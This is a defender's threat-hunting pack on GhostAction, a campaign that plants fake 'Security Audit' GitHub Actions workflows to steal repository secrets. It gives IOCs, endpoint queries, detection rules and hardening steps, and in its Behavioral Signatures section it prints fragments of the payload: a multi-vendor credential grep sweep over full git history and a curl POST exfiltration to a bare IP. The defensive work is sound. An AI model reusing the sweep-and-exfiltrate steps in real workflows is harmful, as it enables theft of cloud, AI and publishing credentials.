GhostAction: Credential-Stealing GitHub Actions Workflows (October 2026 wave)

Compromised maintainer accounts commit a fake "security audit" workflow that mines Actions secrets, the working tree and full git history, then POSTs everything over plain HTTP to a bare IP.
Threat
GhostAction
Severity
ACTIVE, 500+ ACCOUNTS
Type
Supply chain / CI credential theft
Access
Stolen maintainer credentials
Version
v0.1 · 2026-10-13
Author
HuntPack
Confidence
High (2 independent primary sources)
01

Executive Summary

GhostAction is a credential-theft campaign against GitHub repositories. In the October 2026 wave, compromised maintainer accounts commit a workflow named "Security Audit" (security-audit.yml) or "Github Actions Security" (github_actions_security.yml) directly to default branches under the victim's own identity. The workflow runs on any push to any branch or tag and on manual dispatch, checks out full history (fetch-depth: 0), and collects two classes of secret: the repository's named Actions secrets, and credentials found in the working tree and the entire git history by regex sweeps for 13 patterns, with two lines of context around every AWS key ID. Everything leaves in one curl POST over plain HTTP to 193.32.204.199.

Socket reports more than 500 compromised accounts and workflows in tens of thousands of repositories since 2026-10-07. The 2026-10-08 burst alone placed the file in 346 repositories, including uber/athenadriver and kitao/pyxel. StepSecurity confirmed one completed exfiltration from a run log, and the attacker re-ran the workflow by hand in pyxel.

Honest coverage statement. The malicious workflow primarily executes on GitHub-hosted runners, which carry no Falcon sensor. Falcon cannot see that execution. This pack hunts only the surfaces Falcon really has: self-hosted runners, developer and CI workstations, any sensored host contacting the collector, and the downstream use of stolen cloud and AI keys.

Defender priority: in GitHub, search for the two workflow paths and the AKIA_CTX_START marker, delete the file from every branch, revoke the compromised account's tokens and sessions, and rotate every credential that ever appeared in any commit. Then run Q1 and Q2 across self-hosted runner hosts.

02

Source Review & Web Hunter Notes

#TierSourceKey findingCarry forward
1PrimarySocket Research Team, 2026-10-09 (snapshot 01)Full workflow text from kitao/pyxel commit 97670a55; 13 patterns; IOC list (paths, commit messages, body markers, IP); 346 repositories on 2026-10-08; 500+ accountsYes
2PrimaryStepSecurity, 2026-10-09 (snapshot 02)Independent analysis and run-log forensics (athenadriver exfil acknowledged); ?c=monami vs ?c=new markers; ports 80 and 3000; approval gate stopped one repository; scale via code searchYes
3SecondaryThe Hacker News, 2026-10-09 (snapshot 03)Summarises Socket and StepSecurity; adds GitGuardian figures for 2026-08-31 to 2026-09-30Context only
4SecondaryCloud Security Alliance research note (snapshot 04)Restates the chain from [1][2]; self-hosted runner egress guidanceContext only

Decisions

  • Independence. Sources 1 and 2 are independent primary analyses with separate artifacts (Socket retrieved the pyxel file; StepSecurity retrieved run logs and a different repository). Sources 3 and 4 derive from them. The only prevent-severity indicator, the collector IP, rests on sources 1 and 2.
  • Not shipped. Earlier-wave infrastructure named in StepSecurity's table (legacy IP and domains) belongs to prior waves and is excluded under the own-campaign-only rule. security-check.yml and the :3000 receive path appear in one source only; the port is covered by Q1 (any port) and the filename is too generic to hunt without noise.
  • Discrepancy noted. Socket's workflow text shows the ?c=monami marker and StepSecurity's shows ?c=new for repositories with no named secrets. Both are treated as the same payload family; Q2 anchors on the IP so both are caught.
  • Injection screening. No fetched page contained instructions directed at the analyst. Pages did contain defender recommendations (GitHub code-search queries), which were treated as data and not executed.
03

Hunt Brief & Attack Chain

StepBehaviorTelemetry (platform-neutral first)Hunt angle
1Attacker obtains a maintainer credential (most plausibly a leaked token from infostealer logs). Not observed by researchers.GitHub audit log. Outside endpoint telemetry.Section 7 audit-log hunts
2Reconnaissance of existing workflows for secrets.NAME references, templated into the payloadGitHub API activity. Outside endpoint telemetry.Section 7
3Workflow committed straight to the default branch, no pull request, unsignedGitHub audit log and git history. Outside endpoint telemetry.Section 7; file arrival on a workstation after pull is not logged by endpoint sensors
4Workflow runs on push or dispatch, on GitHub-hosted runner by default (ubuntu-latest)GitHub Actions run logs. Coverage gap: no EDR sensor on GitHub-hosted runners.GitHub run history search
5On self-hosted runner: shell step runs git log -p --all and grep sweepsProcess creation with command line (CrowdStrike: ProcessRollup2. SentinelOne: Process Creation. Defender: DeviceProcessEvents)Q3, Q4, Q5
6curl POSTs the combined body to the collector over HTTPProcess creation with command line (as above); outbound network connection (CrowdStrike: NetworkConnectIP4. SentinelOne: Network. Defender: DeviceNetworkEvents)Q1, Q2, Q7
7Stolen cloud, AI and SCM keys used from attacker hostsCloud provider and AI vendor logs. Endpoint DNS shows only sensored hosts (CrowdStrike: DnsRequest)Q8; section 7
04

Consolidated IOC Table

TypeValueConfidenceActionContextExpiry
IPv4193.32.204.199highpreventExfiltration collector, plain HTTP, ports 80 and 3000. Sources 1, 2.2027-04-13
URL pattern193.32.204.199/?c=monamihighhunt (Q2)Marker for repositories with named secrets. Not importable as a Falcon IOC type.2027-01-13
File path.github/workflows/security-audit.ymlhighhuntMalicious workflow. Name alone is not proof, confirm content.n/a
File path.github/workflows/github_actions_security.ymlhighhuntMalicious workflow, "Github Actions Security".n/a
Commit messageAdd security audit workflowhighhuntInjection commitn/a
Commit messageUpdate security audit workflowhighhuntUpdate or re-trigger commitn/a
Commit messageAdd Github Actions Security workflowhighhuntInjection commit, second workflow namen/a
Body markersREPO=, AKIA_CTX_START, AKIA_CTX_ENDhighhuntUnique to payload; grep proxies and workflow filesn/a
Victim accountshenrywoo (318 repositories), kitao (27 repositories)highenrichCompromised identities, not attacker handles. Commit 97670a55 in kitao/pyxel.n/a

Only the collector IP is a valid Falcon IOC Management type. Everything else is shipped as a behavioral or search signal; see section 10.

05

Affected Surface & Telemetry Matrix

SurfaceTelemetry (platform-neutral first)PriorityGap risk
GitHub-hosted runnersNone from endpoint sensors. GitHub run logs and audit log only.primary execution siteBLIND SPOT, not covered by this pack's queries
Self-hosted runners (Linux, macOS, Windows)Process creation with command line (CrowdStrike: ProcessRollup2. SentinelOne: Process Creation. Defender: DeviceProcessEvents); outbound network connection (CrowdStrike: NetworkConnectIP4. SentinelOne: Network. Defender: DeviceNetworkEvents)highGood, if the sensor is installed
Developer and CI workstationsProcess creation with command line; outbound network connection. File-write events for YAML are not logged, so file arrival after git pull is not directly visible.mediumPartial
Any sensored host to the collectorOutbound network connection (as above)highGood
Cloud, AI and SCM accounts holding stolen keysCloud audit logs, AI provider usage logs, GitHub audit log. Outside endpoint telemetry; endpoint DNS gives only a sensored-host view.highPartial
06

ATT&CK Mapping

TacticIDTechniqueObserved behavior
Initial AccessT1078Valid AccountsCompromised maintainer accounts push under their own identity
Defense EvasionT1036.005Match Legitimate Resource Name or LocationWorkflow disguised as a security audit
ExecutionT1059.004Unix ShellSingle bash "Audit" step on the runner
CollectionT1213.003Data from Code Repositoriesgit log -p --all over every branch and tag
Credential AccessT1552.001Credentials In Files13-pattern regex sweep of working tree and history; AWS key context capture
ExfiltrationT1048.003Exfiltration Over Unencrypted Non-C2 Protocolcurl POST over HTTP to a bare IP
Impact (downstream)T1195.002Compromise Software Supply ChainStolen PyPI, crates.io and similar publishing tokens enable malicious releases. None observed as of the reports.
Initial Access (downstream)T1078.004Cloud AccountsStolen AWS and AI keys reused
07

Native Audit-Log Hunts

These checks run outside Falcon and are where most of this campaign is actually visible, including the GitHub-hosted runner execution Falcon cannot see.

WhereCheckWhy
GitHub code search"AKIA_CTX_START" path:.github/workflows, "c=monami", and the collector IP in workflow paths. Scope with org:YOUR-ORG.Finds the payload on default branches. Code search indexes default branches only and excludes forks.
Repository historySearch all branches for the two workflow paths and the three commit messages (commands in section 10).Payload triggers on every branch and tag; delete it everywhere.
GitHub audit logWorkflow-file additions by maintainer identities directly to default branches with no pull request; rapid commits across many repositories within minutes; manual workflow dispatch on a new "audit" workflow.Researchers' audit-log patterns. Validate event names in your plan.
Actions run historyRuns of "Security Audit" or "Github Actions Security" since 2026-08-31. Any completed run is a confirmed exfiltration.Guard condition is always true; every run beacons.
Egress, proxy, firewallConnections to the collector IP on ports 80 and 3000, including from self-hosted runner ranges; request bodies containing AKIA_CTX_START.Plain HTTP, so bodies are inspectable where TLS is not in play.
Cloud audit log (AWS CloudTrail)For any AWS key found in history: new IAM users, new access keys, unexpected regions, calls from unfamiliar addresses, since first exposure.Context capture reconstructs full key pairs.
AI provider consolesUsage and key-creation logs for Anthropic, OpenAI and OpenRouter keys that ever appeared in a commit.Sk-style keys are explicit targets.
Package registriesRelease history on PyPI, crates.io, npm and container registries for unexpected versions since exposure.Publishing tokens were templated in pyxel.
08

Hunt Queries: CrowdStrike CQL, SentinelOne PowerQuery and Defender XDR KQL

Show all queries in
Pick your tenant's cloud first. Every "Open in Falcon" button below uses this selection.

Coverage gap, stated plainly: these queries cannot see the workflow running on a GitHub-hosted runner. They apply to self-hosted runners, workstations and any sensored host that reaches the collector. Run Q5 first to learn which hosts are self-hosted runners.

Q1 · Sensored host connected to the exfiltration IP
CONF HIGH FP LOW COST LOW

Looks for: Any sensored host opening an IPv4 connection to the hardcoded exfiltration address. The payload uses a bare IP over plain HTTP, so there is no DNS lookup to hunt; the network event is the only signal. A hit on a self-hosted runner or CI workstation confirms a workflow step reached the collector.

FP: Low. No legitimate use is reported for this address. Scope the hit to the initiating process and the runner service account before closing.

Validation: schema-aligned, static-reviewedAutomated: static-passedEquivalence: equivalent-with-schema-assumptionsProfiles: microsoft-defender-xdr, sentinelone-endpoint-ocsf
Known limitations and deployment notes
  • PowerQuery: A connection the agent did not observe is not captured.
  • PowerQuery assumes: dst.ip.address is populated on IP Connect events on this tenant; not tenant-tested.
  • KQL – Defender XDR: A connection the sensor did not observe is not captured.
  • KQL – Defender XDR assumes: RemoteIP is populated for outbound connections from the sensor.
// HUNT: GhostAction exfiltration IP contacted by a sensored host
// MITRE: T1048.003, T1041
// CONF: high  FP: low  COST: low | REQUIRES: network connection telemetry (CrowdStrike: NetworkConnectIP4)
// LOOKBACK: 7d
#event_simpleName=NetworkConnectIP4
| RemoteAddressIP4="193.32.204.199"
| table([@timestamp, aid, ComputerName, ContextBaseFileName, LocalAddressIP4, LocalPort, RemoteAddressIP4, RemotePort, ContextProcessId_decimal])
| sort(@timestamp, order=desc, limit=500)
Q2 · curl invoked against the exfiltration URL (process command line)
CONF HIGH FP LOW COST LOW

Looks for: A curl process whose command line carries the exfiltration IP or the ?c=monami campaign marker. On a self-hosted runner this is the workflow's exfil step executing; the shell step is expanded by the runner into a script, so curl's own command line holds the destination.

FP: Low. Only a defender replaying the IOC for testing should match.

Validation: schema-aligned, static-reviewedAutomated: static-passedEquivalence: equivalent-with-schema-assumptionsProfiles: microsoft-defender-xdr, sentinelone-endpoint-ocsf
Known limitations and deployment notes
  • PowerQuery: curl launched by a process the agent did not observe starting is not captured.
  • PowerQuery assumes: src.process.user holds the account that ran the creator process.
  • KQL – Defender XDR: A process the sensor did not observe starting is not captured.
  • KQL – Defender XDR assumes: ProcessCommandLine is populated for curl on Linux and Windows sensors.
// HUNT: curl POST to GhostAction collector (command line)
// MITRE: T1048.003, T1059.004
// CONF: high  FP: low  COST: low | REQUIRES: process creation with command line (CrowdStrike: ProcessRollup2)
// LOOKBACK: 7d
#event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/
| FileName=/^curl(\.exe)?$/i
| CommandLine=/193\.32\.204\.199|[?]c=monami/i
| table([@timestamp, aid, ComputerName, UserName, FileName, ParentBaseFileName, CommandLine])
| sort(@timestamp, order=desc, limit=500)
Q3 · Full-history patch dump by a script step (git log -p --all)
CONF MEDIUM FP MEDIUM COST LOW

Looks for: Git invoked by a shell with log, -p and --all, the call the payload uses to buffer every branch and tag's patch text before regex-sweeping it for credentials. Pair with Q4 on the same host and minute for a high-confidence read.

FP: Medium. Secret scanners and developers run the same command. Exclude your approved scanner's service account and parent process.

Validation: schema-aligned, static-reviewedAutomated: static-passedEquivalence: equivalent-with-schema-assumptionsProfiles: microsoft-defender-xdr, sentinelone-endpoint-ocsf
Known limitations and deployment notes
  • PowerQuery: git launched by a process the agent did not observe starting is not captured.
  • PowerQuery: A history sweep written as git log --patch --all, or with the flags in another order around -p, is not matched.
  • PowerQuery assumes: src.process.user holds the account that ran the creator process.
  • PowerQuery assumes: The regexes use \b and \s, which the engine accepts as written; not tenant-tested.
  • KQL – Defender XDR: A process the sensor did not observe starting is not captured.
  • KQL – Defender XDR: A history sweep written as git log --patch --all, or with the flags in another order around -p, is not matched.
  • KQL – Defender XDR assumes: ProcessCommandLine is populated for git on Linux and Windows sensors.
// HUNT: git log -p --all driven by a shell step (history credential sweep)
// MITRE: T1213.003, T1552.001
// CONF: medium  FP: medium  COST: low | REQUIRES: process creation with command line (CrowdStrike: ProcessRollup2)
// TUNING: exclude the service account and parent of your approved secret scanner, e.g. | UserName!=/^svc-secretscan$/i
// TUNING: a developer running this interactively has a terminal parent and a real user; runner hits sit under a service account in a CI work directory
// LOOKBACK: 7d
#event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/
| FileName=/^git(\.exe)?$/i
| ParentBaseFileName=/^(bash|sh|dash|zsh|pwsh|powershell)(\.exe)?$/i
| CommandLine=/\blog\b/
| CommandLine=/\s-p\s/
| CommandLine=/--all\b/
| table([@timestamp, aid, ComputerName, UserName, ParentBaseFileName, CommandLine])
| sort(@timestamp, order=desc, limit=500)
Q4 · Multi-vendor credential regex sweep (grep with AKIA and AI or SCM key prefixes)
CONF HIGH FP LOW COST LOW

Looks for: A grep or ripgrep whose command line holds the AWS key-ID pattern AKIA[0-9A-Z]{16} together with at least one AI-provider, GitHub, GitLab or Slack token prefix. The payload runs one such sweep over the working tree and a second over the history buffer.

FP: Low. Legitimate secret scanning normally uses a dedicated scanner binary, not grep with a hand-rolled multi-vendor alternation.

Validation: schema-aligned, static-reviewedAutomated: static-passedEquivalence: equivalent-with-schema-assumptionsProfiles: microsoft-defender-xdr, sentinelone-endpoint-ocsf
Known limitations and deployment notes
  • PowerQuery: A sweep whose patterns are read from a file or an environment variable rather than the command line is not matched.
  • PowerQuery assumes: src.process.user holds the account that ran the creator process.
  • PowerQuery assumes: contains matches case-insensitively, a little broader than the case-sensitive CQL.
  • KQL – Defender XDR: A sweep whose patterns are read from a file or an environment variable rather than the command line is not matched.
  • KQL – Defender XDR assumes: ProcessCommandLine is populated for grep-family tools on Linux and Windows sensors.
  • KQL – Defender XDR assumes: contains matches case-insensitively, a little broader than the case-sensitive CQL.
// HUNT: grep credential-pattern sweep matching the GhostAction payload
// MITRE: T1552.001, T1213.003
// CONF: high  FP: low  COST: low | REQUIRES: process creation with command line (CrowdStrike: ProcessRollup2)
// LOOKBACK: 7d
#event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/
| FileName=/^(e?grep|ggrep|rg)(\.exe)?$/i
| CommandLine=/AKIA\[0-9A-Z\]\{16\}/
| CommandLine=/sk-ant-|sk-proj-|ghp_|glpat-|xox\[baprs\]/
| table([@timestamp, aid, ComputerName, UserName, ParentBaseFileName, CommandLine])
| sort(@timestamp, order=desc, limit=500)
Q5 · Scope: which sensored hosts run a GitHub Actions self-hosted runner
CONF MEDIUM FP LOW COST LOW

Looks for: Inventory query, not a detection. It lists hosts running the runner listener or worker, which is the only place Falcon can see this campaign execute. Use it to decide where Q1 to Q4 and Q7 are meaningful, and to find runners that should be ephemeral.

FP: Not applicable, this is a scoping list.

Validation: schema-aligned, static-reviewedAutomated: static-passedEquivalence: equivalent-with-schema-assumptionsProfiles: microsoft-defender-xdr, sentinelone-endpoint-ocsf
Known limitations and deployment notes
  • PowerQuery: A runner started before the retention window, or launched through a wrapper name, is not counted.
  • PowerQuery assumes: The runner binaries appear as Runner.Listener and Runner.Worker in tgt.process.name; not tenant-tested.
  • KQL – Defender XDR: A runner started before the 30 day Advanced Hunting retention window, or launched through a wrapper name, is not counted.
  • KQL – Defender XDR assumes: The runner binaries appear as Runner.Listener and Runner.Worker in FileName.
// HUNT: self-hosted GitHub Actions runner inventory (scope for Q1-Q4, Q7)
// MITRE: T1059.004
// CONF: medium  FP: low  COST: low | REQUIRES: process creation (CrowdStrike: ProcessRollup2)
// LOOKBACK: 30d
#event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/
| FileName=/^Runner\.(Listener|Worker)(\.exe)?$/i
| groupBy([aid, ComputerName], function=count(as=RunnerEvents), limit=1000)
| sort(RunnerEvents, order=desc, limit=200)
Q6 · Workflow file name referenced on a command line
CONF MEDIUM FP MEDIUM COST LOW

Looks for: Any process whose command line names security-audit.yml or github_actions_security.yml: a commit, a diff, a local workflow runner, or an administrator cleaning up. Falcon does not log arbitrary YAML file writes, so a bare git pull that lands the file leaves no trace here. This catches the follow-on handling of the file, not its arrival.

FP: Medium. A legitimate repository can own a workflow called security-audit.yml. Confirm content with the section 7 checks before treating a hit as hostile.

Validation: schema-aligned, static-reviewedAutomated: static-passedEquivalence: equivalent-with-schema-assumptionsProfiles: microsoft-defender-xdr, sentinelone-endpoint-ocsf
Known limitations and deployment notes
  • PowerQuery: A workflow file edited through an editor that never names the file on a command line is not captured.
  • PowerQuery assumes: src.process.user holds the account that ran the creator process.
  • KQL – Defender XDR: A workflow file edited through an editor that never names the file on a command line is not captured.
  • KQL – Defender XDR assumes: ProcessCommandLine is populated on Linux and Windows sensors.
// HUNT: poisoned workflow file name handled on an endpoint
// MITRE: T1036.005, T1195.002
// CONF: medium  FP: medium  COST: low | REQUIRES: process creation with command line (CrowdStrike: ProcessRollup2)
// TUNING: exclude repositories you own that legitimately ship a security-audit.yml, e.g. | CommandLine!=/internal-repo-name/i
// TUNING: a hit alone proves nothing; open the file and look for the collector IP or the AKIA_CTX_START marker
// LOOKBACK: 14d
#event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/
| CommandLine=/(security-audit|github_actions_security)\.yml/i
| table([@timestamp, aid, ComputerName, UserName, FileName, ParentBaseFileName, CommandLine])
| sort(@timestamp, order=desc, limit=500)
Q7 · curl to a public IP on port 80 (raw-IP HTTP egress from CI hosts)
CONF LOW FP MEDIUM COST MEDIUM

Looks for: Behavioral net for the next collector address. The payload sends plain HTTP to a bare IP, so curl connections to public IPv4 on port 80 from a runner host are rare and worth ranking. Run it only against the hosts from Q5.

FP: Medium. Package mirrors, cloud metadata proxies and legacy downloads use HTTP. Allowlist known mirrors and review what remains.

Validation: schema-aligned, static-reviewedAutomated: static-passedEquivalence: equivalent-with-schema-assumptionsProfiles: microsoft-defender-xdr, sentinelone-endpoint-ocsf
Known limitations and deployment notes
  • PowerQuery: IPv6 destinations are not evaluated; the CQL covers IPv4 only.
  • PowerQuery assumes: dst.port.number is numeric on IP Connect events; not tenant-tested.
  • KQL – Defender XDR: IPv6 destinations are not evaluated; the CQL covers IPv4 only.
  • KQL – Defender XDR assumes: RemotePort is numeric and RemoteIP is populated for outbound connections.
// HUNT: curl HTTP egress to public IPv4 (new-collector net, run on runner hosts)
// MITRE: T1048.003
// CONF: low  FP: medium  COST: medium | REQUIRES: network connection telemetry (CrowdStrike: NetworkConnectIP4)
// TUNING: scope to the aid values returned by Q5, and exclude your package mirror ranges with another !cidr() stage
// TUNING: a destination seen on many runners over weeks is infrastructure; one seen on one runner once is the lead
// LOOKBACK: 14d
#event_simpleName=NetworkConnectIP4
| ContextBaseFileName=/^curl(\.exe)?$/i
| RemotePort=80
| !cidr(RemoteAddressIP4, subnet=["10.0.0.0/8","172.16.0.0/12","192.168.0.0/16","127.0.0.0/8","169.254.0.0/16"])
| groupBy([aid, ComputerName, RemoteAddressIP4], function=count(as=Conns), limit=1000)
| sort(Conns, order=desc, limit=200)
Q8 · Consequence hunt: AI API lookups from rare processes
CONF LOW FP HIGH COST MEDIUM

Looks for: Post-theft signal. Anthropic, OpenAI and OpenRouter keys are targeted, so stolen keys will be used from hosts and processes that never called those APIs before. This ranks processes by how few hosts use them. It cannot see keys used from hosts without a sensor; pair it with provider usage logs (section 7).

FP: High. Developer tools and IDE plugins call these APIs legitimately. Baseline first and review only the long tail.

Validation: schema-aligned, static-reviewedAutomated: static-passedEquivalence: equivalent-with-schema-assumptionsProfiles: microsoft-defender-xdr, sentinelone-endpoint-ocsf
Known limitations and deployment notes
  • PowerQuery: If the tenant populates dns.request rather than event.dns.request, this returns zero rows; run the readiness test first.
  • PowerQuery assumes: event.dns.request is the populated DNS name field on this tenant; the vendor docs name dns.request instead.
  • PowerQuery assumes: estimate_distinct is an approximate count of hosts.
  • KQL – Defender XDR: DNS visibility depends on the sensor emitting DnsQueryResponse events; a tenant without them returns zero rows.
  • KQL – Defender XDR assumes: The DNS name sits under DnsQueryString or QueryName in AdditionalFields; the readiness test shows which key the tenant populates.
  • KQL – Defender XDR assumes: DnsQueryResponse events carry an initiating process; not tenant-tested.
// HUNT: AI provider API lookups ranked by rarity of process and host
// MITRE: T1078.004, T1552.001
// CONF: low  FP: high  COST: medium | REQUIRES: DNS request telemetry (CrowdStrike: DnsRequest)
// TUNING: exclude sanctioned clients, e.g. | ContextBaseFileName!=/^(code|cursor|claude|python3?)(\.exe)?$/i after you confirm they are expected
// TUNING: review rows where Hosts=1 first; a server or runner that never called these APIs before is the lead
// LOOKBACK: 30d
#event_simpleName=DnsRequest
| DomainName=/^(api\.anthropic\.com|api\.openai\.com|openrouter\.ai)$/i
| groupBy([ContextBaseFileName], function=[count(as=Lookups), count(aid, distinct=true, as=Hosts)], limit=500)
| sort(Hosts, order=asc, limit=100)
09

Detection Rules by Platform

CrowdStrike: Custom IOA

IOA namePromotesPatternExclusionsDeployment path
GhostAction collector connectionPromote Q1Network connection, remote address 193.32.204.199, any process. Also import the IP as a Custom IOC (section 10).None neededDetect then prevent. Attacker-controlled value, two independent sources.
curl to GhostAction collector URLPromote Q2Process creation, image name matching curl, command line matching the collector IP or ?c=monamiNone neededDetect only. curl itself is a stock binary and is never marked prevent.
Multi-vendor credential grep sweepPromote Q4Process creation, image grep or rg, command line containing the AKIA pattern plus another vendor prefixApproved internal scanners that call grep this wayDetect only; promote after a 14-day benign baseline.

Q3, Q5, Q6, Q7 and Q8 stay investigate-only: they are scoping or lead-generation queries with medium or higher FP risk.

SentinelOne: custom detection rules

RuleSource queryRun asNotes
GhostAction collector connectionQ1, PowerQuery tabScheduled custom detection ruleBind entities so the alert names the host instead of "Unknown Device"
curl to GhostAction collector URLQ2, PowerQuery tabScheduled custom detection ruleBind entities so the alert names the host instead of "Unknown Device"
Multi-vendor credential grep sweepQ4, PowerQuery tabScheduled custom detection ruleBind entities so the alert names the host instead of "Unknown Device". This pack's own text mentions a baseline or pilot; follow it as written

Create the rule with POST /web/api/v2.1/cloud-detection/rules, queryType: "scheduled" and queryLang: "2.0", with the query in data.scheduledParams.query. Use 2.0 operator spellings: a rule written with the 1.0 token ContainsCIS was accepted and never fired on a tenant. The API does not warn, so lint the body before deploying.

Microsoft Defender: custom detection rules

RuleSource queryRun asNotes
GhostAction collector connectionQ1, KQL – Defender XDR tabCustom detection rule, alert only, every hourThe query returns Timestamp, ReportId and DeviceId, which Microsoft recommends for Defender for Endpoint tables so alerts carry the device group scope and the process tree. Remove the Timestamp filter and the final sort and take before saving the rule: the service applies the rule's lookback itself
curl to GhostAction collector URLQ2, KQL – Defender XDR tabCustom detection rule, alert only, every hourThe query returns Timestamp, ReportId and DeviceId, which Microsoft recommends for Defender for Endpoint tables so alerts carry the device group scope and the process tree. Remove the Timestamp filter and the final sort and take before saving the rule: the service applies the rule's lookback itself
Multi-vendor credential grep sweepQ4, KQL – Defender XDR tabCustom detection rule, alert only, every hourThe query returns Timestamp, ReportId and DeviceId, which Microsoft recommends for Defender for Endpoint tables so alerts carry the device group scope and the process tree. Remove the Timestamp filter and the final sort and take before saving the rule: the service applies the rule's lookback itself. This pack's own text mentions a baseline or pilot; follow it as written

Q3, Q5, Q6, Q7 and Q8 stay a hunt in this pack, not a rule. A rule can generate only 150 alerts per run. Continuous (NRT) frequency needs a single table and no comment lines, so delete the generated comment header from the query first.

10

Machine-Readable IOC Appendix

Falcon IOC Management CSVbulk import
type,value,action,severity,expiration,description,tags
ipv4,193.32.204.199,prevent,high,2027-04-13,GhostAction credential exfiltration collector (plain HTTP),campaign:GhostAction
# Workflow paths, commit messages and body markers have no Falcon IOC type. See Behavioral Signatures.
Microsoft Defender indicators CSVSettings, Endpoints, Indicators, Import: audit and block
indicatorType,indicatorValue,action,title,description,expirationTime,severity,recommendedActions,rbacGroups,category,mitretechniques,GenerateAlert
IpAddress,193.32.204.199,Block,GhostAction credential exfiltration collector,GhostAction credential exfiltration collector (plain HTTP),2027-04-13T00:00:00.0Z,High,Investigate the device and pivot into the pack's queries,,,,True

Column names and allowed values are from Microsoft's documented parameter table. Prevent rows import as Block, without remediation; network indicators cannot use BlockAndRemediate. Check each expirationTime before importing: an indicator whose date has passed is already expired. Download the sample CSV from the Import page to confirm the column order before a bulk import. Each file takes at most 500 indicators. Learn describes the import per entity type, so if a mixed file is rejected, split it by indicatorType. An imported indicator does nothing unless the matching Advanced features are on (for example Custom network indicators and Allow or block file).

SentinelOne IOC importnot included

This pack does not ship a SentinelOne import block: the import format could not be verified against SentinelOne's own documentation. Export a sample from your console and the block can be added with confidence.

Behavioral Signatureshunt / detect
Workflow triggers: workflow_dispatch + push with no branch or path filter
Checkout: actions/checkout with fetch-depth: 0
Step: single "Audit" step in job "audit" (variant "Github Actions Security": job send-secrets, step Prepare Cache Busting)
Process: git log -p --all, then grep -rEiho with AKIA[0-9A-Z]{16}|ASIA[0-9A-Z]{16}|sk-ant-|sk-proj-|sk-or-|ghp_|github_pat_|glpat-|AIza|xox[baprs]-|SG.
Exfil: curl -s -m 20 -X POST --data-binary to http://193.32.204.199/?c=monami (or ?c=new)
Body: starts REPO=owner/name ... AKIA_CTX_START ... AKIA_CTX_END
Commit: single-file add under .github/workflows by a maintainer identity, unsigned, direct to default branch
Named Artifactssearch strings
.github/workflows/security-audit.yml
.github/workflows/github_actions_security.yml
Add security audit workflow
Update security audit workflow
Add Github Actions Security workflow
REPO=
AKIA_CTX_START
AKIA_CTX_END
kitao/pyxel commit 97670a55
accounts named in reporting: henrywoo, kitao
GitHub Search and Local Repo Checksrun as defender
# github.com code search (replace YOUR-ORG)
org:YOUR-ORG "AKIA_CTX_START"
org:YOUR-ORG "c=monami"
org:YOUR-ORG "193.32.204.199"

# local clone: any branch, any history
git log --all --name-only --format="%h %an %s" -- .github/workflows/security-audit.yml .github/workflows/github_actions_security.yml
git log --all --format="%h %an %s" --grep="security audit workflow" --grep="Github Actions Security workflow"
git grep -n -E "AKIA_CTX_START|193\.32\.204\.199|c=monami" $(git for-each-ref --format="%(refname)" refs/heads refs/remotes) -- .github/workflows
11

Detection Validation Gates

GateCheck
Telemetry readySensor present on self-hosted runner hosts (confirm with Q5). Process creation with command line (CrowdStrike: ProcessRollup2. SentinelOne: Process Creation. Defender: DeviceProcessEvents) and outbound network connection (CrowdStrike: NetworkConnectIP4. SentinelOne: Network. Defender: DeviceNetworkEvents) flowing. GitHub-hosted runners are out of scope by design.
Benign baselineRun Q3, Q6, Q7, Q8 for 14 days with no alerting. Record scanner accounts and mirrors for TUNING exclusions.
Positive testsQ2: on a lab host, run curl against a lab-controlled URL, then temporarily edit the Q2 filter to that lab address and confirm it fires; never send traffic to the real collector or real secrets. Q4: run grep over an empty directory with the AKIA pattern plus sk-ant- and confirm the row appears. Q1: after the IOC import, a blocked-attempt test from a lab host with a firewall exception is optional and only with approval.
PromotionQ1 and Q2 promote to IOA detect at once. Q4 after baseline. Prevent only for the IP IOC.
12

Hardening: Tiered

GitHub platform controls below cite GitHub's own security hardening guidance and MITRE mitigations. No formal CIS benchmark is applied, so each is flagged best-practice, no formal benchmark. Several controls assume a paid GitHub plan; confirm availability before rollout.

Immediate (this week)
  • Remove the workflow and revoke the entry path. Delete security-audit.yml and github_actions_security.yml from every branch, revoke the compromised account's PATs, OAuth grants, SSH keys and sessions, re-enroll phishing-resistant MFA. MITRE M1032, M1026. Verify: git commands in section 10.
  • Rotate by exposure, not by list. Rotate every Actions secret and every credential ever committed to any branch. Revoke rather than rotate leaked PATs. M1027. Verify: CloudTrail and provider logs show no use of old keys after rotation.
  • Block the collector. Falcon IOC prevent, firewall and proxy deny for 193.32.204.199 ports 80 and 3000, including runner subnets. M1037. Verify: Q1 returns only blocked-attempt rows.
  • Default token read-only. Set org default GITHUB_TOKEN permissions to read. The athenadriver run used contents: read, which limited blast radius to stolen secrets. Best-practice, no formal benchmark.
Near term (1 to 4 weeks, pilot first)
  • Protect workflow files. Require pull-request review with code-owner approval for .github/workflows/** (CODEOWNERS plus branch protection or rulesets), and restrict who can bypass. Direct-to-default pushes with no review were the injection path. M1018. Best-practice, no formal benchmark.
  • Enable secret scanning with push protection on all repositories, and scan full history. Best-practice, no formal benchmark.
  • Run-approval and runner policy. StepSecurity reported one repository whose approval requirement stalled re-triggered runs. Treat this as a useful extra layer, not a guarantee against a compromised writer. Restrict runner groups to named repositories.
  • Ephemeral self-hosted runners with no persistent credentials on disk, on isolated networks. M1030. Verify with Q5 that runner hosts rebuild.
  • Egress allowlist for runners. Default-deny outbound, allow only package registries and GitHub. A bare-IP HTTP POST fails closed. M1037. Verify: Q7 returns nothing new.
Strategic (1 to 3 months)
  • Replace long-lived cloud keys with short-lived federation (OIDC trust from GitHub to cloud roles), so a history sweep finds nothing reusable. Credential-lifetime reduction, best-practice, no formal benchmark.
  • Trusted publishing for PyPI, crates.io and npm instead of stored publish tokens.
  • Enforce signed commits and alert on unsigned workflow-file changes by maintainers.
  • History hygiene. Purge committed secrets, then rotate; deleting from HEAD is irrelevant to git log -p --all.
13

Deployable Playbooks

Playbook 1: Find and remove the workflow (per repository)

Prerequisites: git, write access to the repository, repo admin to bypass branch protection if needed.
Reboot required: no.
1. git fetch --all --prune
2. git log --all --name-only --format="%h %an %s" -- .github/workflows/security-audit.yml .github/workflows/github_actions_security.yml
